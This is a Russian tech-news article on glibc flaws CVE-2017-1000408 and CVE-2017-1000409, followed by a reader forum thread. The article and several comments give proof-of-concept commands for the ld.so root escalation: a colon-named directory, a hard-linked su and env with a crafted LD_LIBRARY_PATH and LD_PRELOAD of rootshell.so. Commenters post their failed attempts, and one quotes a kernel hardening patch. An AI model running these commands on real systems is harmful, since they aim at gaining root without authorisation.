Компания Qualys выявила (http://seclists.org/oss-sec/2017/q4/385) две уязвимости в системной библиотеке GNU libc. Первая проблема (CVE-2017-1000408) проявляется начиная с glibc 2.1.1 и может привести к утечке содержимого памяти процессов через манипуляцию с переменной окружения LD_HWCAP_MASK. Вторая уязвимость (CVE-2017-1000409) затрагивает выпуски начиная с glibc 2.5 и может привести к повышению своих привилегий в системе.Уязвимость вызвана переполнением буфера в компоновщике ld.so и может быть эксплуатирована через указание специально подобранных данных в переменной LD_LIBRARY_PATH перед запуском suid-программ. Для эксплуатации переполнения буфера локальный атакующий должен иметь возможность создания жесткой ссылки на исполняемый SUID-файл в каталог, содержащий двоеточие в имени. Также требуется, чтобы применяемая в дистрибутиве версия ld.so передавала переменную окружения LD_LIBRARY_PATH в функцию _dl_init_paths().
$ mkdir -p '/var/tmp/:/lib:/usr/lib:'
$ cd '/var/tmp/:/lib:/usr/lib:'
$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so'
LD_HWCAP_MASK="$(((1Уязвимость проявляется только если не активна опция /proc/sys/fs/protected_hardlinks, которая включена по умолчанию в большинстве дистрибутивов, но отключена в настройках ванильного ядра Linux. Проблема также не проявляется в Glibc 2.26 и системах, в которых установлены патчи для устранения летней уязвимости CVE-2017-1000366 (https://www.opennet.ru/opennews/art.shtml?num=46724). Несмотря на то, что в дистрибутивах проблема CVE-2017-1000409 пока помечена (https://security-tracker.debian.org/tracker/CVE-2017-1000409) как неисправленная, в большинстве систем она не проявляется, так как в обновлениях ещё летом были предложены патчи с устранением уязвимости CVE-2017-1000366 в Glibc, также блокирующие и нынешнюю проблему.
URL: http://seclists.org/oss-sec/2017/q4/385
Новость: https://www.opennet.ru/opennews/art.shtml?num=47722
Все на musl! Пока чуваки на чёрных вертолётах о нём не прочитали
CVE-2017-15650, CVE-2016-8859, CVE-2015-1817, CVE-2014-3484 - мы работаем над этим.
Ушел пересобирать ядро
*дистрибутив пересобери
> Ушел пересобирать ядроЕщё припарки попробуйте от непонимания.
> ... от непонимания.А почитать?
> Уязвимость проявляется только если не активна опция /proc/sys/fs/protected_hardlinks,
> ...., но отключена в настройках ванильного ядра Linux.
From: Ben Hutchings <ben@decadent.org.uk>
Subject: fs: Enable link security restrictions by default
Date: Fri, 02 Nov 2012 05:32:06 +0000
Bug-Debian: https://bugs.debian.org/609455
Forwarded: not-neededThis reverts commit 561ec64ae67ef25cac8d72bb9c4bfc955edfd415
('VFS: don't do protected {sym,hard}links by default').--- a/fs/namei.c
+++ b/fs/namei.c
@@ -651,8 +651,8 @@ static inline void put_link(struct namei
path_put(link);
}
-int sysctl_protected_symlinks __read_mostly = 0;
-int sysctl_protected_hardlinks __read_mostly = 0;
+int sysctl_protected_symlinks __read_mostly = 1;
+int sysctl_protected_hardlinks __read_mostly = 1;
/**
* may_follow_link - Check symlink following for unsafe situations
Gentoo Linux 4.11.0-pf3
glibc 2.26-r3
не фурычет уязвимость
Чучка не читатель, чукча писатель? В новости черным по белому написано:
> Проблема также не проявляется в Glibc 2.26
У него нет времени читать, он компилит же!
Не, венду очередной раз переустанавливаю.
Вот почему некоторые чукчи считают что предложения читать надо до запятой?
"Проблема также не проявляется в Glibc 2.26 и системах, в которых установлены патчи для устранения летней уязвимости CVE-2017-1000366."
> Вот почему некоторые чукчи считают что предложения читать надо до запятой?
> "Проблема также не проявляется в Glibc 2.26 и системах, в которых установлены
> патчи для устранения летней уязвимости CVE-2017-1000366."Чорд!
" Уязвимость проявляется только если не активна опция /proc/sys/fs/protected_hardlinks, которая включена по умолчанию в большинстве дистрибутивов, но отключена в настройках ванильного ядра Linux. "
# cat /proc/sys/fs/protected_hardlinks
1
# _--Я наследный зимбабвийский сикплойт. Пожалуйста пересоберите, перезагрузите ядро и запустите мина с-под рутом!1
env: ./su: No such file or directory:(
> env: ./su: No such file or directory
> :(..."локальный атакующий должен иметь возможность создания жесткой ссылки на исполняемый SUID-файл в каталог, содержащий двоеточие в имени."
Делай, как я:
...:/var/tmp/:/lib:/usr/lib:$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная ссылка между устройствами
...:/var/tmp/:/lib:/usr/lib:$ _
---Здравствуйте, я зимбабвийский наследный иксплойт. Пож, запустите меня рутом.
> Неверная ссылка между устройствами
> Пож, запустите меня рутом.И как тебе рут в данном случае поможет? Делай ссылку в /tmp, если он у тебя не в tmpfs, конечно.
> если он у тебя не в tmpfs, конечно.Расходимся, ребят. Опять мимо :(
Для справки: почти все дистрибутивы держат /tmp в tmpfs и более того, он noexec.
> почти все дистрибутивы держат /tmp в tmpfsДалеко не все.
> более того, он noexec
А это вообще крайне редко (полагаю, что по умолчанию — вообще нигде).
В случае чего есть ещё /var/tmp. Можешь начинать рассказывать, что у тебя и /var отдельно смонтирован.
> В случае чего есть ещё /var/tmp. Можешь начинать рассказывать, что у тебя
> и /var отдельно смонтирован.Пора /bin отдельно монтировать!!111
> Можешь начинать рассказывать, что у тебя
> и /var отдельно смонтирован.По умолчанию даже netinstall это делает, пока не скажешь делать по другому. Хорошо, все крупные дистрибутивы это делают, в том числе Debian. Так лучше?
> Хорошо, все крупные дистрибутивы это делают, в том числе Debian. Так лучше?Нет, не лучше. Лучше писать правду.
Debian этого не делает и более того апт сыплет ошибками если /tmp смонтирован с noexec
>> Неверная ссылка между устройствами
>> Пож, запустите меня рутом.
> И как тебе рут в данном случае поможет? Делай ссылку в /tmp,
> если он у тебя не в tmpfs, конечно.Не-не, мне не надо. Не надо мне помогать.
...нет, не tmpfs, но да:
ln: не удалось создать жёсткую ссылку «/tmp/su» => «/bin/su»: Неверная ссылка между устройствами
Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве с /
> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
> с /Красная площадь, б.!
user:~$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная ссылка между устройствами
user:~$ _
>> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
>> с /
> Красная площадь, б.!
> user:~$ ln $(which su) .
> ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная
> ссылка между устройствами
> user:~$ _Это называет "руки из жопы". Эксплойт нормально запустить не может! Ж)
>>> Ну сделайте вы папочку в хомяке. Наверняка же он на одном устройстве
>>> с /
>> Красная площадь, б.!
>> user:~$ ln $(which su) .
>> ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Неверная
>> ссылка между устройствами
>> user:~$ _
> Это называет "руки из жопы". Эксплойт нормально запустить не может! Ж)Да-да, конечно-конечно, только не расстраивайся так.
user@ghost:~$ mkdir -p '/czar/tmp/:/lib:/usr/lib:'
user@ghost:~$ find /czar/tmp/
/czar/tmp/
/czar/tmp/:
/czar/tmp/:/lib:
/czar/tmp/:/lib:/usr
/czar/tmp/:/lib:/usr/lib:
user@ghost:~$ cd '/czar/tmp/:/lib:/usr/lib:'
user@ghost:/czar/tmp/:/lib:/usr/lib:$ ln $(wich su) .
bash: wich: команда не найдена
ln: «.»: не допускается создавать жёсткие ссылки на каталоги
user@ghost:/czar/tmp/:/lib:/usr/lib:$ ln $(which su) .
ln: не удалось создать жёсткую ссылку «./su» => «/bin/su»: Операция не позволяется
.
.
.
root@novy:/czar/tmp/:/lib:/usr/lib:# ln $(which su) .
root@novy:/czar/tmp/:/lib:/usr/lib:# _
.
.
.
user@ghost:/czar/tmp/:/lib:/usr/lib:$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded: ignored.
ERROR: ld.so: object 'rootshell.so' from LD_PRELOAD cannot be preloaded: ignored.
Password: _
Не быть мне хаксором. Как бы вам :-P этого ни хотелось.
Как всегда. Уязвимость, которая себя может проявить с вероятностью 0.00000001. На каком нибудь экзотическом дистрибутиве с криворуким одмином.
LD_LIBRARY_PATH не игнорируется при suid?
сначала парсится, потом игнори...уп-с, стек слетел.и так у нас все.
В systemd не пашет ;(
> В systemd не пашет ;(В новой версии обещают сделать работоспособной.
>> В systemd не пашет ;(
> В новой версии обещают сделать работоспособной.systemd-exploitd
>>> В systemd не пашет ;(
>> В новой версии обещают сделать работоспособной.
> systemd-exploitdsex-ploitd.
Как в соседней микросовтовской про порчу пPокупок.
> В systemd не пашет ;(Багу вешайте -- глядишь, исправят.
Там ещё этот rootshell.so компилять... ну его
>к утечке содержимого памяти процессов через манипуляцию с переменной окружения
>переполнением буфераc-проблемы "гениальных" программистов
SUID - зло
> SUID - злоТак есть же linux capabilities.
>> SUID - зло
> Так есть же linux capabilities.И используются они (LD_HWCAP_MASK= наверху) во добро?
>>> SUID - зло
>> Так есть же linux capabilities.
> И используются они (LD_HWCAP_MASK= наверху) во добро?Да, острые ножи требуют аккуратного, вдумчивого и ответственного использования. А если нет, то сейчас либо ножи затупят, либо ножны получше сделают.
В дебиане и убунте не работает нифига, там protected_hardlinks прописаны.
>/proc/sys/fs/protected_hardlinksу меня в ведре нет.